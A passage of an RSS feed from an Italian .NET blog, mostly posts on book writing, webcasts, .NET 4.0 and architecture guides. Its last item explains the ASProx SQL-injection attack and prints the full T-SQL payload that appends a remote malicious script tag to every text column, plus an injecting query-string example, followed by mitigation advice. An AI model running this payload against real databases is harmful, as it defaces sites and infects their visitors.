&lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Mef"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx"&gt;&lt;em&gt;Real Code Day 6: slide e codice sorgente&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2702.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2702</trackback:ping></item><item><title>Il nostro processo di stesura dei libri: un caso di successo</title><link>https://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx</link><pubDate>Wed, 07 Apr 2010 10:51:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2606" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Nel mese di gennaio 2010 sono entrato a far parte dell'ambizioso progetto editoriale che riguarda i &lt;a href="http://g.aspitalia.com/landings/hoepli.aspx"&gt;tre libri dedicati ai linguaggi C# 4 e VB 10 e ad ASP.NET 4.0&lt;/a&gt; che saranno di prossima pubblicazione a cura della casa editrice HOEPLI. Al di là del fatto che per me è una enorme soddisfazione&amp;#xa0; poter scrivere per una casa editrice così rinomata in Italia, ancora una volta mi trovo a cimentarmi nella stesura di un libro (in questo caso, addirittura di tre) con i miei &amp;quot;compagni di merende&amp;quot; dopo quelli usciti negli scorsi anni. Non vi nascondo che si tratta di una attività molto impegnativa e stressante, sotto tutti i punti di vista. Il tempo è relativamente poco, le scadenze una dietro l'altra, gli argomenti da trattare tanti, ma per fortuna siamo in tanti autori. In ogni caso ci vuole coordinamento ed affiatamento. Se il secondo non manca by design :), devo sottilineare l'immenso lavoro che sta facendo &lt;a href="https://blogs.aspitalia.com/daniele/"&gt;Daniele&lt;/a&gt; nel coordinare i vari autori e nel gestire le varie criticità che inevitabilmente in occasioni come queste si vengono a creare.&lt;/p&gt;&lt;p&gt;Stiamo usando da mesi Visual Studio Team System 2010 per gestire tutti i task, i capitoli in versione draft e pre-release, tutto il codice relativo agli esempi e le immagini. Abbiamo definito un processo estremamente dettagliato, composto da diverse fasi e passaggi per assicurare il massimo della qualità di quello che scriviamo. Abbiamo ben due revisioni tecniche per capitolo e una completa revisione linguistica. E' davvero singolare come abbiamo &amp;quot;piegato&amp;quot; lo strumento al nostro processo di pubblicazione. Del resto la necessità nell'uso di uno strumento deve essere sempre dettata da motivazioni che vanno ben al di là delle semplici funzionalità fornite dal tool. Insomma prima viene il processo, poi lo strumento!&lt;/p&gt;&lt;p&gt;Ci stiamo impegnando tutti in modo molto evidente ed importante e, nonostante le difficoltà dovute alle scadenze serrate, stiamo rispettando tutte le consegne. E siamo in sette autori da coordinare insieme!!! Non c'è che dire, da un punto di vista gestionale, questo progetto rappresenta per me un caso di successo notevole e, ancora una volta, una situazione in cui ho avuto modo di imparare molto. Del resto con un approccio del genere non potrebbe andare diversamente. Così come avviene nel software, anche nella stesura di un libro lo strumento può fornire un aiuto, ma, come capita spesso, sono le persone e l'approccio a fare la differenza. Non mi stuferò mai di ripeterlo (da &amp;quot;bravo&amp;quot; architetto)...&lt;/p&gt;&lt;p&gt;Mi auguro che la qualità del nostro processo di stesura traspaia nelle pagine dei libri anche per i lettori che ci vorranno dare fiducia. Per fare un prodotto di qualità, occorre un processo di qualità. E in questo caso lo stiamo facendo, davvero!!! &lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx"&gt;&lt;em&gt;Il nostro processo di stesura dei libri: un caso di successo&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Pubblicazioni</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2606.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2606</trackback:ping></item><item><title>A volte ritornano!</title><link>https://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx</link><pubDate>Mon, 08 Feb 2010 22:45:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2589" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Con vero piacere ho visto in questi giorni tornare in linea su BEIT&amp;#xa0;i miei webcast del 2006 e 2007 riguardanti i temi architetturali, in particolare il disegno object oriented, i pattern e UML. A suo tempo ebbero&amp;#xa0;un certo seguito perche' erano tra i primi del loro genere e unici come tipologia di contenuti. Ancora oggi molti mi chiedono di poterli rivedere; ebbene siete stati accontentati!&amp;#xa0;Ringrazio per questo il buon &lt;a href="http://blogs.msdn.com/pietrobr/default.aspx" target="_blank"&gt;Pietro Brambati&lt;/a&gt; che si e' prodigato non poco affinche' i webcast tornassero in linea. Anche se sono un po' datati, data la natura trasversale e generale dell'argomento, i webcast in questione sono piu' che mai attuali. Sono particolarmente legato a loro perche' mi sono divertito un sacco a farli a suo tempo&amp;#xa0;e sono molto&amp;#xa0;contento che siano stati rispolverati e resi disponibili sul sito di BEIT.&lt;/p&gt;&lt;p&gt;Non mi resta che segnalare i link per coloro che volessero guardarseli... Se avete domande, poi io sono qui!&amp;#xa0;;)&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=dadd14ee-0d06-4ad4-ae93-0f2225c629b7" target="_blank"&gt;Introduzione ai design pattern&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=aaf0ed35-049a-4e26-a2f9-288fda83ede9" target="_blank"&gt;UML reloaded&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=618b04c8-671c-449f-a1a2-9c383bdc3173" target="_blank"&gt;Design principles&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx"&gt;&lt;em&gt;A volte ritornano!&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2589.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2589</trackback:ping></item><item><title>Ripresa delle pubblicazioni sul nostro network</title><link>https://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx</link><pubDate>Wed, 02 Sep 2009 15:00:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2537" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Dopo la pausa estiva, il&amp;#xa0;prossimo 14 settembre riprendono le pubblicazioni (script e articoli)&amp;#xa0;sul nostro network. Come ricordato da Daniele &lt;a href="https://blogs.aspitalia.com/daniele/post2520/Cambiamenti-Nelorganizzazione-ASPItalia.com-Network-Arrivi-Partenze.aspx" target="_blank"&gt;qui&lt;/a&gt;, l'organizzazione della redazione da quest'anno&amp;#xa0;ha subito qualche&amp;#xa0;cambiamento. Dopo il &amp;quot;passo indietro&amp;quot; fatto da Daniele, la novità principale è senz'altro&amp;#xa0;rappresentata dall'arrivo di &lt;a href="http://cradle.aspitalia.com/" target="_blank"&gt;Marco De Sanctis&lt;/a&gt;&amp;#xa0;quale responsabile della pubblicazione degli script per il sito di ASPItalia.com. Io sono diventato il supervisore e&amp;#xa0;il responsabile&amp;#xa0;per gli&amp;#xa0;articoli&amp;#xa0;di tutto il network,&amp;#xa0;anche se&amp;#xa0;la pubblicazione sui nostri quattro siti&amp;#xa0;resta comunque&amp;#xa0;a carico degli attuali content manager come prima.&lt;/p&gt;&lt;p&gt;In linea di massima abbiamo già delineato una scaletta di pubblicazione ricca e variegata, cercando di andare a trattare argomenti di sicuro interesse che, speriamo, saranno di vostro gradimento. Usciranno articoli e script sulle&amp;#xa0; tecnologie attuali&amp;#xa0;in attesa dell'uscita della versione Beta 2 di Visual Studio 2010. Non mancheranno contenuti di natura architetturale, che, come testimoniano le numerose letture, sono risultati molto&amp;#xa0;apprezzati dai nostri lettori.&lt;/p&gt;&lt;p&gt;Non mi resta che darvi appuntamento sulle pagine del nostro network. Buona lettura e... buon divertimento!&amp;#xa0;:)&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx"&gt;&lt;em&gt;Ripresa delle pubblicazioni sul nostro network&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2537.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2537</trackback:ping></item><item><title>.NET Framework 4.0 Beta 1: Parallel FX</title><link>https://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx</link><pubDate>Mon, 18 May 2009 20:47:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2502" border="0" style="width:1px; height:1px;" /&gt;&lt;span lang="EN"&gt;&lt;p&gt;L'avvento dei sistemi hardware dotati di più core in grado di eseguire elaborazioni parallele sta radicalmente cambiando il modo di pensare, progettare e scrivere applicazioni. Per sfruttare al meglio le potenzialità offerte dai sistemi multicore, ai programmatori occorre poter disporre di una serie di API e di funzionalità nei tool di sviluppo tali da agevolare la gestione di logiche applicative parallele.&lt;/p&gt;&lt;p&gt;A questa esigenza rispondono il .NET Framework 4.0 e Visual Studio 2010, di cui è disponibile la versione Beta 1, come annunciato oggi nel suo blog da &lt;a href="http://blogs.msdn.com/somasegar/archive/2009/05/18/visual-studio-2010-and-net-fx-4-beta-1-ships.aspx" target="_blank"&gt;Somasegar&lt;/a&gt;, senior vice president per l'area dedicata ai tool di sviluppo in Microsoft Corp., e da tutti i componenti dello &lt;a href="http://www.aspitalia.com/focuson/1109/Disponibile-Beta-.NET-Framework-4.0-Visual-Studio-2010.aspx" target="_blank"&gt;staff di ASPItalia.com&lt;/a&gt; prima di me. Il &lt;strong&gt;Parallel FX&lt;/strong&gt; porta con sè una serie di estensioni e strumenti mirati a supportare lo sviluppo parallelo e a fornire un modello di programmazione che permetta di astrarre le logiche applicative dallo strato fisico sottostante.&lt;/p&gt;&lt;p&gt;Per costruire ed eseguire applicazioni parallele, Visual Studio 2010 include una serie di nuove librerie per sviluppare sia applicazioni managed sia applicazioni native in C++. Per quanto riguarda specificatamente il .NET Framework, le estensioni presenti nella versione 4.0 sono fondamentalmente tre:&lt;strong&gt; PLINQ (Parallel LINQ)&lt;/strong&gt;, &lt;strong&gt;Parallel Task Library (PTL)&lt;/strong&gt; e &lt;strong&gt;Coordination Data Structures (CDS)&lt;/strong&gt;. PLINQ rapprenta un modello dichiarativo per il parallelismo sui dati basato su LINQ. PTL fornisce un modello imperativo a supporto dell'elaborazione parallela sia di task applicativi che dei dati e un insieme di costrutti come, per esempio, Parallel.For o Parallel.ForEach, molto comodi per eseguire iterazioni rimappate su diverse unità di calcolo. CDS rappresenta un insieme di building block per la sincronizzazione che semplificano i meccanismi di comunicazione e inizializzazione nel codice.&lt;/p&gt;&lt;p&gt;Queste estensioni sono rivolte agli sviluppatori che usano codice managed come C# e Visual Basic o il nuovissimo F#. Tramite PLINQ diventa possibile rivedere le query LINQ-To-Objects esistenti nel codice attuale, ottenendo risultati in termini di performance davvero significativi. Con TPL diventa immediato introdurre meccanismi di parallelismo sui task e sui dati, o tramite la parallelizzazione dei costrutti iterativi nel codice o tramite la scomposizione di logiche composte in task più semplici schedulati ed eseguiti in parallelo.&lt;/p&gt;&lt;p&gt;A tutto questo si aggiunge il supporto in termini di funzionalità e strumenti fornito da Visual Studio 2010. I &lt;strong&gt;tool di debugging&lt;/strong&gt; si arricchiscono di due nuove toolwindow: &lt;strong&gt;Parallel Tasks&lt;/strong&gt; e &lt;strong&gt;Parallel Stacks&lt;/strong&gt;. La prima fornisce informazioni di runtime sui task creati dall'applicazione nell'elaborazione parallela, la seconda fornisce la visione dei call stack&amp;#xa0;di ciascun thread o task all'interno dell'applicazione. Oltre a queste nuove funzionalità Visual Studio 2010 include una serie di &lt;strong&gt;strumenti di profiling&lt;/strong&gt; per la visione del livello di utilizzo delle CPU e dei Core.&lt;/p&gt;&lt;p&gt;Per ulteriori informazioni rimanete sintonizzati su ASPItalia.com. Maggiori informazioni e le informazioni per il download sono disponibili nel nostro mini-sito dedicato al &lt;a href="http://netfx4.winfxitalia.com/"&gt;.NET Framework 4.0&lt;/a&gt;.&amp;#xa0;Nei prossimi mesi avremo modo di trattare in modo specifico tutte le novità di Visual Studio 2010, come siamo soliti fare ormai da tanti anni. Come dice sempre &lt;a href="https://blogs.aspitalia.com/sm15455" target="_blank"&gt;Stefano&lt;/a&gt;... Stay Tuned!&lt;/p&gt;&lt;/span&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx"&gt;&lt;em&gt;.NET Framework 4.0 Beta 1: Parallel FX&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>DotNet 4.0</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2502.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2502</trackback:ping></item><item><title>Guide sull&amp;#39;architettura delle applicazioni</title><link>https://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx</link><pubDate>Sun, 14 Dec 2008 18:13:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2442" border="0" style="width:1px; height:1px;" /&gt;&lt;p dir="ltr" style="MARGIN-RIGHT: 0px"&gt;Segnalazione per gli amanti delle tematiche architetturali... Su Codeplex da&amp;nbsp;un paio di settimane&amp;nbsp;sono disponibili &lt;a href="http://www.codeplex.com/AppArch" target="_blank"&gt;alcune guide in formato PDF a cura di Microsoft P&amp;amp;P&lt;/a&gt;&amp;nbsp;che&amp;nbsp;trattano le tematiche e le best practices relative all'architettura dei diversi tipi&amp;nbsp;di applicazioni:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19802" target="_blank"&gt;Web Application&amp;nbsp;Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch" target="_blank"&gt;RIA Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19800" target="_blank"&gt;Rich Client Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19801" target="_blank"&gt;Service Architecture Pocket Guide&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Il numero di pagine&amp;nbsp;delle guide non&amp;nbsp;è eccessivo, pertanto si prestano ad essere lette facilmente. Inoltre la struttura dei contenuti è abbastanza schematica&amp;nbsp;per una facile comprensione. Gli argomenti trattati sono vari, ma mi pare di poter dire che i contenuti sono abbstanza completi, sebbene siano condensati in un numero di pagine limitate.&lt;/p&gt;&lt;p&gt;Se non sapete cosa leggere durante le vacanze di Natale, questi link possono fornire un utile spunto... Buona lettura!&amp;nbsp;:P&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx"&gt;&lt;em&gt;Guide sull&amp;#39;architettura delle applicazioni&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2442.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2442</trackback:ping></item><item><title>Intervista online</title><link>https://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx</link><pubDate>Fri, 05 Dec 2008 09:08:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2440" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Non capita tutti i giorni di essere intervistati... :)&lt;br /&gt;Grazie ad &lt;a href="http://blogs.technet.com/alead_msft/" target="_blank"&gt;Alessandro&lt;/a&gt; per l'&lt;a href="http://blogs.technet.com/alead_msft/archive/2008/12/05/intervista-ai-microsoft-mvp-riccardo-golia.aspx" target="_blank"&gt;intervista&lt;/a&gt; e per lo spazio&amp;nbsp;concessomi nel suo blog personale.&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx"&gt;&lt;em&gt;Intervista online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Ricky</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2440.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2440</trackback:ping></item><item><title>Buon compleanno, ASPItalia.com!</title><link>https://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx</link><pubDate>Tue, 21 Oct 2008 06:31:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2410" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Tanti auguri ad ASPItalia.com per i suoi 10 anni di vita... Oggi si fa festa, tutti a Roma!&lt;/p&gt;&lt;p&gt;&lt;img alt="HAPPY BIRTHDAY" hspace="0" src="http://www.riccardogolia.it/aspitalia/blog/birthday.jpg" align="baseline" border="0" /&gt;&lt;/p&gt;&lt;p&gt;PS: tanti auguri anche a me oggi, ma non ditelo a nessuno! :P&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx"&gt;&lt;em&gt;Buon compleanno, ASPItalia.com!&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx</guid><slash:comments>9</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2410.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2410</trackback:ping></item><item><title>Attacco XSS combinato con SQL-Injection</title><link>https://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</link><pubDate>Fri, 25 Jul 2008 11:00:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2344" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre è così.&lt;/p&gt;&lt;p&gt;L'attacco è portato avanti da un bot noto col nome di &lt;a href="http://www.cio.com.au/index.php/id;552560972" target="_blank"&gt;ASProx&lt;/a&gt; che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica &lt;a href="http://xssworm.blogvis.com/23/xssworm/dns-fast-fluxing-are-you-protected-ca-experts-issue-warning-of-new-hacker-attack/"&gt;DNS Fast-Fluxing&lt;/a&gt; per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilità nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilità vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo &amp;quot;&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;. Chiaramente il file &amp;quot;ngg.js&amp;quot; contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.&lt;/p&gt;&lt;p&gt;Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:&lt;/p&gt;&lt;p&gt;DECLARE @Table VARCHAR(255)&lt;br /&gt;DECLARE @Column VARCHAR(255)&lt;/p&gt;&lt;p&gt;DECLARE cur CURSOR FOR&lt;br /&gt;SELECT [SO].[Name], [SC].[Name]&lt;br /&gt;FROM sysobjects AS [SO], syscolumns AS [SC]&lt;br /&gt;WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND&lt;br /&gt;([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)&lt;/p&gt;&lt;p&gt;OPEN cur&lt;br /&gt;FETCH NEXT FROM cur INTO @Table,@Column &lt;/p&gt;&lt;p&gt;WHILE (@@FETCH_STATUS = 0)&lt;br /&gt;BEGIN&lt;br /&gt;EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;''')&lt;br /&gt;FETCH NEXT FROM cur INTO @Table, @Column&lt;br /&gt;END&lt;/p&gt;&lt;p&gt;CLOSE cur&lt;br /&gt;DEALLOCATE cur &lt;/p&gt;&lt;p&gt;Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag &amp;lt;script /&amp;gt;. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target è vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: &amp;quot;http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--&amp;quot;).&lt;/p&gt;&lt;p&gt;Per poter mitigare la vulnerabilità a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ciò che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: &amp;quot;SELECT * FROM Table1 WHERE Id=&amp;quot; + Request.QueryString[&amp;quot;id&amp;quot;]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se &amp;quot;id&amp;quot; deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.&lt;/p&gt;&lt;p&gt;Nonostante le innumerevoli circostanze in cui si è avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security.aspx"&gt;qui&lt;/a&gt; e &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security-2.aspx" target="_blank"&gt;qui&lt;/a&gt;) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio è ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori! &lt;/p&gt;&lt;p&gt;&lt;strong&gt;LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Meditate, gente, meditate!&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx"&gt;&lt;em&gt;Attacco XSS combinato con SQL-Injection&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura</category><guid 